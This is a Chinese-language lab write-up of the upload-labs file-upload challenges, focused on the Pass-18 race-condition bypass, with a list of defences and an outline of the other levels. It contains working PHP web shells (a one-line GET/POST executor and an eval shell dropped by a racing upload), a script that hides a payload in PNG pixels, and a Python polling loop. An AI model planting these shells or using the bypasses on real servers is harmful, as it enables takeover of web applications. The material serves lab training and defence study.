<?$_GET[0]($_POST[1]);?> get传参0= 加上post传参1=

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

Pass-18

（条件竞争）

源码分析:

$ext_arr = array('jpg','png','gif');使用数组的方式生成了一个白名单

$file_name = $_FILES['upload_file']['name'];使用超级全局变量接受文件

$temp_file = $_FILES['upload_file']['tmp_name'];将上传的文件存储到一个临时目录下，并且使用临时名存储。

substr($file_name,strrpos($file_name,".")+1); 使用循环的方式截取.的位置。截取文件后缀名

$upload_file = UPLOAD_PATH . '/' . $file_name; 设置上传的路径

if(move_uploaded_file($temp_file, $upload_file)){ 将临时存储路径的文件移动到 $upload_file

这个路径下

if(in_array($file_ext,$ext_arr)){进行文件名后缀的验证

$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;如果在的话设置路径，并且使用随机数和时间戳的方式，最后拼接上后缀。

rename($upload_file, $img_path);将$upload_file重命名成$img_path

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件！";unlink($upload_file);}}else{$msg = '上传出错！';}
}

绕过思路：

从源码来看，服务器先是将上传的文件保存下来，然后将文件的后缀名同白名单对比，如果是jpg、png、gif中的一种，就将文件进行重命名。如果不符合的话，unlink()函数就会删除该文件。

这么看来如果我们还是上传一个图片马的话，网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话，我们就只能上传一个php木马来解析运行了。

我们要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问就成了。这个也就叫做条件竞争上传绕过。我们可以利用burp多线程发包，然后不断在浏览器访问我们的webshell，会有一瞬间的访问成功。

把这个php文件通过burp一直不停的重放

<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["1"])?>');?>

通过这个脚本不停访问我们上传上去的php文件

import requests
url = "http://xxx.xxx.xxx.xxx"
while True:html = requests.get(url)if html.status_code == 200:print("OK")break

接下来我们可以在BP点击开始攻击。在BP攻击的同时我们也要运行python脚本，目的就是不停地访问创建的php文件直到成功访问到为止。当出现OK说明访问到了该文件，那么1.php应该也创建成功了，用蚁剑连一下即可

防御

不要暴露上传文件的位置
禁用上传文件的执行权限
黑白名单
对上传的文件重命名，不易被猜测
对文件内容进行二次渲染
对上传的内容进行读取检查

文件上传漏洞 -- uploadlabs为例

文件上传漏洞原理

该靶场通过docker搭建

Pass-01

（js验证）

绕过方式一：

绕过方式二：

源码分析

Pass-02

（MIME校验）

绕过方式：

源码分析

Pass-03

（文件后缀名校验，黑名单绕过）

源码分析：

绕过方式：

Pass-04

（黑名单验证.htaccess）

源码分析：

绕过方式：

Pass-05

（文件名后缀验证 拼接或.user.ini绕过）

源码分析：

绕过方式一：

绕过方式二：

Pass-06

（文件名后缀验证，大小写绕过）

源码分析：

绕过方式：

Pass-07

（文件名后缀验证，空格绕过）

源码分析：

绕过方式：

Pass-08

（文件名后缀验证，点绕过）

源码分析：

绕过方式：

Pass-09

（文件名后缀验证，::$DATA绕过）

基础知识：

源码分析：

绕过方式：

Pass-10

（文件名后缀验证，点空格点）

源码分析：

绕过方式：

Pass-11

（文件名后缀验证，双写绕过）

源码分析：

绕过方式：

Pass-12

（文件名后缀白名单验证，GET 型%00 截断）

原理：

源码分析：

绕过方式：

Pass-13

（文件名后缀白名单验证，POST型%00 截断）

源码分析：

绕过方式：

Pass-14

（文件内容检查 ，文件头验证图片马）

源码分析：

绕过方式：

Pass-15

（getimagesize图片马）

源码分析：

绕过方式：

Pass-16

（exif_imagetype图片马）

源码分析：

绕过方式：

Pass-17

（文件内容检查，图片二次渲染）

源码分析：

绕过方式一（gif的二次渲染绕过）：

绕过方式二（png的二次渲染绕过）：

Pass-18

（条件竞争）

绕过思路：

防御

（文件名后缀验证拼接或.user.ini绕过）

（文件内容检查，文件头验证图片马）